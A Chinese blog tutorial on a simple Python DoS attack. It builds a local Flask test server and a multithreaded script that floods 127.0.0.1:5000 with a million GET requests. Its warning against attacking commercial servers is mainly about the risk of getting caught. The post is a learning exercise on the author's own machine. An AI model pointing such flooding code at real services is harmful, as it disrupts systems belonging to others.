python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

shell 复制代码
pip install flask 
py 复制代码
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

shell 复制代码
pip install requests
py 复制代码
import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

相关推荐
花酒锄作田11 小时前
Pydantic校验配置文件
python
hboot12 小时前
AI工程师第四课 - 深度学习入门
pytorch·python·神经网络
ZhengEnCi1 天前
P2M-Matplotlib折线图完全指南-从数据可视化到趋势分析的Python绘图利器
python·matlab·数据可视化
ZhengEnCi1 天前
P2L-Matplotlib饼图完全指南-从数据可视化到图表定制的Python绘图利器
python·matlab
曲幽1 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
用户8358086187911 天前
基于 Self-RAG 与列表级重排序的进阶 RAG 系统设计与实现
python
Warson_L2 天前
Python `Annotated` 与 LangGraph Reducer 学习笔记
python
韩师傅2 天前
海天线算法的前世今生
python·计算机视觉
韩师傅2 天前
当你的甲方设备过烂,要如何快速出效果?
python·计算机视觉
Warson_L2 天前
LangGraph的MessageState and HumanMessage
python